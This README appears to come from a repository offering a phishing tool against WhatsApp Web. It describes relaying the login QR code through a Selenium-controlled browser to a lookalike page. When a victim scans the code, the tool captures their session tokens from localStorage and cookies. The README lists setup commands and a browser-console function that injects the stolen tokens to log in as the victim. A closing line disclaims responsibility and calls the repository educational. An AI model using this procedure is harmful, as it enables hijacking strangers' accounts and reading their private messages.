Authors Notes.

This repo contains proof of principle code for running a phishing attack against the official Whatsapp Web client.

Whatsapp what?


Short: A web client for Whatsapp. You log in by scanning a QR code on there page using Whatsapp

What does it do

It will extract the QR code from Whatsapp Web and display it on a new page. If someone scans the code using Whatsapp it will grab the credentials from the web client and save them in a file. You can use these credentials to log yourself in as the person who scanned to QR code.

How does it work

The program uses node.js and socket.io for the website and selenium, a tool for scripting browsers, to communicate with the Whatsapp web client.

The program starts a http and a socket.io server. If a new client connects to socket.io the application will make a request to a selenium instance to start a new browser and connect to web.whatsapp.com. It will fetch the QR code data and send it to the client via the websocket connection. The client javascript then shows the QR code to the user.

If the QR code gets scanned Whatsapp will authenticate the selenium controlled browser and store some tokens in the localStorage and document.cookie. We extract that data and save it into a text file. It will look like so:

      "WAWamDimensionCache":"{\"AppVersion\":\"0.1.4391\",\"BrowserVersion\":\"Firefox 39.0\",\"DeviceName\":\"Linux x86_64\",\"WebcEnv\":0}",

You can than import these tokens into your browser and log in as the person who scanned the QR code.


  • Download the selenium standalone server jar file and install Firefox if you don’t already have it.
  • Type the following into your terminal
    $ java -jar selenium-server.jar
    $ # new terminal
    $ git clone https://github.com/Mawalu/whatsapp-phishing.git
    $ cd whatsapp-phishing
    $ npm install
    $ node index.js
  • Open your browser and go to http://localhost:8080
  • Start Whatsapp on your smartphone, go to Menu > Whatsapp Web and scan the QR code from your browser.
  • Copy the content from the newly created secrets file
  • Open web.whatsapp.com. (Watch out that you are not already logged in, maybe use incognito mode)
  • Open your developer console
  • Enter the following code:
    > function login(token) {Object.keys(token.s).forEach(function (key) {localStorage.setItem(key, token.s[key])}); token.c = token.c.split(';'); token.c.forEach(function(cookie) {document.cookie = cookie; });}
    > login(t)
  • Reload the page
  • You should be logged in as the person who scanned the QR code


Whatsapp messages are meant to be private. Just because the NSA reads everything it doesn’t mean you should do as well! Everything in this repo is for education purpose only and I am not responsible if you use it otherwise.
